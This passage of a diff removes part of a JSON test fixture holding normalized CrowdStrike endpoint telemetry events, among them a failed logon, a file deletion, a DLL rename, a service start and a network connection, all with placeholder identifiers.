-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14"
-            },
-            "device": {
-                "id": "ffffffffd8844a59acce5e1f4ad01888"
-            },
-            "event": {
-                "action": "UserLogonFailed2",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-11-08T17:05:54.274Z",
-                "id": "ffffffff-1111-11eb-a8aa-067029dffccb|ffffffffd8844a59acce5e1f4ad01888|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ClientComputerName\":\"com1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"7073822473144\",\"ContextThreadId\":\"48689911139327\",\"ContextTimeStamp\":\"1604855152.993\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"744\",\"EtwRawThreadId\":\"5304\",\"LogonDomain\":\"BROADCAST\",\"LogonType\":\"3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"Status\":\"3221225581\",\"SubStatus\":\"3221225578\",\"UserName\":\"user5\",\"aid\":\"ffffffffd8844a59acce5e1f4ad01888\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed2\",\"id\":\"ffffffff-1111-11eb-a8aa-067029dffccb\",\"name\":\"UserLogonFailed2V2\",\"timestamp\":\"1604855154274\"}",
-                "outcome": "failure",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "domain": "BROADCAST",
-                "id": "ffffffffd8844a59acce5e1f4ad01888",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogonFailed2",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffd8844a59acce5e1f4ad01888",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "7073822473144",
-                "pid": 744,
-                "thread": {
-                    "id": 48689911139327
-                }
-            },
-            "related": {
-                "hash": [
-                    "3011122681"
-                ],
-                "hosts": [
-                    "com1"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "user5"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "user5"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:54.670Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3343111420",
-                "ContextProcessId": "1838383212125",
-                "ContextTimeStamp": "2020-11-08T17:05:51.534Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileObject": "18446636884348143072",
-                "IrpFlags": "1028",
-                "MajorFunction": "18",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b23b-064dea059649",
-                "name": "ExecutableDeletedV3"
-            },
-            "device": {
-                "id": "ffffffff4a0946365161093453e596d4"
-            },
-            "event": {
-                "action": "ExecutableDeleted",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:05:54.670Z",
-                "id": "ffffffff-1111-11eb-b23b-064dea059649|ffffffff4a0946365161093453e596d4|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextProcessId\":\"1838383212125\",\"ContextThreadId\":\"27242382481217\",\"ContextTimeStamp\":\"1604855151.534\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff\",\"FileObject\":\"18446636884348143072\",\"IrpFlags\":\"1028\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\WindowsApps\\\\Deleted\\\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\\\clrcompression.dll\",\"aid\":\"ffffffff4a0946365161093453e596d4\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ExecutableDeleted\",\"id\":\"ffffffff-1111-11eb-b23b-064dea059649\",\"name\":\"ExecutableDeletedV3\",\"timestamp\":\"1604855154670\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699",
-                "extension": "dll",
-                "inode": "b0754a8f86feffffb0754a8f86feffff09764a8f86feffff",
-                "name": "clrcompression.dll",
-                "path": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff4a0946365161093453e596d4",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ExecutableDeleted",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff4a0946365161093453e596d4",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "1838383212125",
-                "thread": {
-                    "id": 27242382481217
-                }
-            },
-            "related": {
-                "hash": [
-                    "3343111420"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:00.047Z",
-            "crowdstrike": {
-                "AsepWrittenCount": 0,
-                "ConfigStateHash": "230795414",
-                "ContextProcessId": "318137549555284836",
-                "ContextTimeStamp": "2020-11-08T17:05:35.209Z",
-                "DirectoryCreatedCount": 0,
-                "DnsRequestCount": 0,
-                "Entitlements": "15",
-                "ExecutableDeletedCount": 0,
-                "FileDeletedCount": 0,
-                "NetworkBindCount": 0,
-                "NetworkCapableAsepWriteCount": 0,
-                "NetworkCloseCount": 0,
-                "NetworkConnectCount": 0,
-                "NetworkListenCount": 0,
-                "NetworkRecvAcceptCount": 0,
-                "NewExecutableWrittenCount": 0,
-                "SHA256HashData": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a",
-                "SuspectStackCount": 0,
-                "SuspiciousDnsRequestCount": 0,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-ae31-065d76bec0c3",
-                "name": "EndOfProcessMacV11"
-            },
-            "device": {
-                "id": "ffffffffcfe84e8c6a52c4001bd83761"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:06:00.047Z",
-                "id": "ffffffff-1111-11eb-ae31-065d76bec0c3|ffffffffcfe84e8c6a52c4001bd83761|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009202.1\",\"ConfigStateHash\":\"230795414\",\"ContextProcessId\":\"318137549555284836\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855135.209\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"20195\",\"SHA256HashData\":\"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"318137549555284836\",\"aid\":\"ffffffffcfe84e8c6a52c4001bd83761\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-ae31-065d76bec0c3\",\"name\":\"EndOfProcessMacV11\",\"timestamp\":\"1604855160047\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffffcfe84e8c6a52c4001bd83761",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffcfe84e8c6a52c4001bd83761",
-                "version": "1007.4.0009202.1"
-            },
-            "process": {
-                "entity_id": "318137549555284836",
-                "hash": {
-                    "sha256": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a"
-                },
-                "pid": 20195,
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a",
-                    "230795414"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:13.077Z",
-            "crowdstrike": {
-                "ApiReturnValue": "1",
-                "ConfigStateHash": "3338885535",
-                "ContextProcessId": "683078218537",
-                "ContextTimeStamp": "2020-11-08T17:06:11.731Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-a570-0685ba2a382f",
-                "name": "RegisterRawInputDevicesEtwV1"
-            },
-            "device": {
-                "id": "ffffffff80984ea8b49d9a53f590c566"
-            },
-            "event": {
-                "action": "RegisterRawInputDevicesEtw",
-                "category": [
-                    "host",
-                    "configuration"
-                ],
-                "created": "2020-11-08T17:06:13.077Z",
-                "id": "ffffffff-1111-11eb-a570-0685ba2a382f|ffffffff80984ea8b49d9a53f590c566|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ApiReturnValue\":\"1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"683078218537\",\"ContextTimeStamp\":\"1604855171.731\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"19400\",\"EtwRawThreadId\":\"9384\",\"aid\":\"ffffffff80984ea8b49d9a53f590c566\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RegisterRawInputDevicesEtw\",\"id\":\"ffffffff-1111-11eb-a570-0685ba2a382f\",\"name\":\"RegisterRawInputDevicesEtwV1\",\"timestamp\":\"1604855173077\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff80984ea8b49d9a53f590c566",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RegisterRawInputDevicesEtw",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff80984ea8b49d9a53f590c566",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "683078218537",
-                "pid": 19400,
-                "thread": {
-                    "id": 9384
-                }
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:14.018Z",
-            "crowdstrike": {
-                "CompletionEventId": "Event_ChannelDataDownloadCompleteV1",
-                "ConfigStateHash": "3338885535",
-                "DownloadPort": 443,
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8ab5-0643392fc75d",
-                "name": "LFODownloadConfirmationV1"
-            },
-            "device": {
-                "id": "ffffffffffc94c645268f64fc900213f"
-            },
-            "event": {
-                "action": "LFODownloadConfirmation",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:06:14.018Z",
-                "id": "ffffffff-1111-11eb-8ab5-0643392fc75d|ffffffffffc94c645268f64fc900213f|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteV1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys\",\"DownloadPort\":\"443\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"TargetFileName\":\"C-00000013-00000000-00000408.sys\",\"aid\":\"ffffffffffc94c645268f64fc900213f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"LFODownloadConfirmation\",\"id\":\"ffffffff-1111-11eb-8ab5-0643392fc75d\",\"name\":\"LFODownloadConfirmationV1\",\"timestamp\":\"1604855174018\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "path": "C-00000013-00000000-00000408.sys",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffffc94c645268f64fc900213f",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "LFODownloadConfirmation",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffffc94c645268f64fc900213f",
-                "version": "1007.3.0011603.1"
-            },
-            "related": {
-                "hash": [
-                    "3338885535"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "server": {
-                "address": "lfodown01-b.cloudsink.net",
-                "domain": "lfodown01-b.cloudsink.net",
-                "registered_domain": "cloudsink.net",
-                "subdomain": "lfodown01-b",
-                "top_level_domain": "net"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "url": {
-                "domain": "lfodown01-b.cloudsink.net",
-                "extension": "sys",
-                "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys",
-                "path": "/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys",
-                "registered_domain": "cloudsink.net",
-                "scheme": "https",
-                "subdomain": "lfodown01-b",
-                "top_level_domain": "net"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:17.513Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1763245019",
-                "ContextProcessId": "2071361595421",
-                "ContextTimeStamp": "2020-11-08T17:05:46.590Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileObject": "18446622606546437424",
-                "IrpFlags": "395312",
-                "MajorFunction": "6",
-                "MinorFunction": "0",
-                "NewFileIdentifier": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00",
-                "OperationFlags": "0",
-                "TargetFileName": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8162-0663305b686f",
-                "name": "NewExecutableRenamedV6"
-            },
-            "device": {
-                "id": "ffffffff280b41b956a91e816bd9b9b0"
-            },
-            "event": {
-                "action": "NewExecutableRenamed",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:06:17.513Z",
-                "id": "ffffffff-1111-11eb-8162-0663305b686f|ffffffff280b41b956a91e816bd9b9b0|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"2071361595421\",\"ContextThreadId\":\"41650430047375\",\"ContextTimeStamp\":\"1604855146.590\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"FileObject\":\"18446622606546437424\",\"IrpFlags\":\"395312\",\"MajorFunction\":\"6\",\"MinorFunction\":\"0\",\"NewFileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"OperationFlags\":\"0\",\"SourceFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\temp\\\\EKA0UARWWK\\\\Microsoft.WSMan.Management.ni.dll\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\NativeImages_v4.0.30319_64\\\\Microsoft.We0722664#\\\\c2579d00f9849413b8b7948dd00ac863\\\\Microsoft.WSMan.Management.ni.dll\",\"aid\":\"ffffffff280b41b956a91e816bd9b9b0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8162-0663305b686f\",\"name\":\"NewExecutableRenamedV6\",\"timestamp\":\"1604855177513\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "Ext": {
-                    "original": {
-                        "name": "Microsoft.WSMan.Management.ni.dll",
-                        "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll"
-                    }
-                },
-                "directory": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863",
-                "extension": "dll",
-                "inode": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00",
-                "name": "Microsoft.WSMan.Management.ni.dll",
-                "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff280b41b956a91e816bd9b9b0",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NewExecutableRenamed",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff280b41b956a91e816bd9b9b0",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "2071361595421",
-                "thread": {
-                    "id": 41650430047375
-                }
-            },
-            "related": {
-                "hash": [
-                    "1763245019"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:20.332Z",
-            "crowdstrike": {
-                "ConfigStateHash": "402097454",
-                "ContextProcessId": "66601077523",
-                "ContextTimeStamp": "2020-11-08T17:06:05.213Z",
-                "DesiredAccess": "1048577",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "FileAttributes": "128",
-                "FileObject": "18446641334185168032",
-                "Information": "2",
-                "IrpFlags": "2180",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "35668001",
-                "ShareAccess": "3",
-                "Status": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9411-06b7c99be087",
-                "name": "DirectoryCreateV1"
-            },
-            "device": {
-                "id": "ffffffff2c9f4066b0b5f2f00265503c"
-            },
-            "event": {
-                "action": "DirectoryCreate",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:06:20.332Z",
-                "id": "ffffffff-1111-11eb-9411-06b7c99be087|ffffffff2c9f4066b0b5f2f00265503c|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"402097454\",\"ContextProcessId\":\"66601077523\",\"ContextThreadId\":\"2500785639062\",\"ContextTimeStamp\":\"1604855165.213\",\"DesiredAccess\":\"1048577\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700\",\"FileObject\":\"18446641334185168032\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"35668001\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\CbsTemp\\\\30848497_1904507751\\\\FodWU\",\"aid\":\"ffffffff2c9f4066b0b5f2f00265503c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DirectoryCreate\",\"id\":\"ffffffff-1111-11eb-9411-06b7c99be087\",\"name\":\"DirectoryCreateV1\",\"timestamp\":\"1604855180332\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751",
-                "inode": "d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700",
-                "name": "FodWU",
-                "path": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU",
-                "type": "dir"
-            },
-            "host": {
-                "id": "ffffffff2c9f4066b0b5f2f00265503c",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DirectoryCreate",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff2c9f4066b0b5f2f00265503c",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "66601077523",
-                "thread": {
-                    "id": 2500785639062
-                }
-            },
-            "related": {
-                "hash": [
-                    "402097454"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:36.635Z",
-            "crowdstrike": {
-                "AuthenticationId": "999",
-                "ConfigStateHash": "3343111420",
-                "ContextTimeStamp": "2020-11-08T17:06:36.468Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003",
-                "InterfaceVersion": "131072",
-                "RpcClientProcessId": "949196415400",
-                "RpcClientThreadId": "44209361549673",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "19",
-                "TokenType": "1",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-9c98-02c501fe7d81",
-                "name": "ServiceStartedV2"
-            },
-            "device": {
-                "id": "fffffffffcc4413057adc260e99b0774"
-            },
-            "event": {
-                "action": "ServiceStarted",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:06:36.635Z",
-                "id": "ffffffff-1111-11eb-9c98-02c501fe7d81|fffffffffcc4413057adc260e99b0774|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k netsvcs -p -s wlidsvc\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextTimeStamp\":\"1604855196.468\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"949196415400\",\"RpcClientThreadId\":\"44209361549673\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"wlidsvc\",\"TargetProcessId\":\"955370934902\",\"TokenType\":\"1\",\"UserName\":\"user6\",\"aid\":\"fffffffffcc4413057adc260e99b0774\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ServiceStarted\",\"id\":\"ffffffff-1111-11eb-9c98-02c501fe7d81\",\"name\":\"ServiceStartedV2\",\"timestamp\":\"1604855196635\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "fffffffffcc4413057adc260e99b0774",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ServiceStarted",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "fffffffffcc4413057adc260e99b0774",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "args": [
-                    "C:\\WINDOWS\\system32\\svchost.exe",
-                    "-k",
-                    "netsvcs",
-                    "-p",
-                    "-s",
-                    "wlidsvc"
-                ],
-                "args_count": 6,
-                "command_line": "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc",
-                "entity_id": "955370934902",
-                "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe",
-                "name": "svchost.exe",
-                "title": "wlidsvc"
-            },
-            "related": {
-                "hash": [
-                    "3343111420"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "user6"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "user6"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:06:40.836Z",
-            "crowdstrike": {
-                "ConfigStateHash": "203564169",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "319255017313886870",
-                "ContextTimeStamp": "2020-11-08T17:06:40.751Z",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "0:0:0:0:0:0:0:0"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-81f1-061cdebbd115",
-                "name": "NetworkConnectIP6MacV5"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:1",
-                "ip": "0:0:0:0:0:0:0:1",
-                "port": 2181
-            },
-            "device": {
-                "id": "ffffffffed0f41575620ab9fb25ce105"
-            },
-            "event": {
-                "action": "NetworkConnectIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:06:40.836Z",
-                "id": "ffffffff-1111-11eb-81f1-061cdebbd115|ffffffffed0f41575620ab9fb25ce105|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
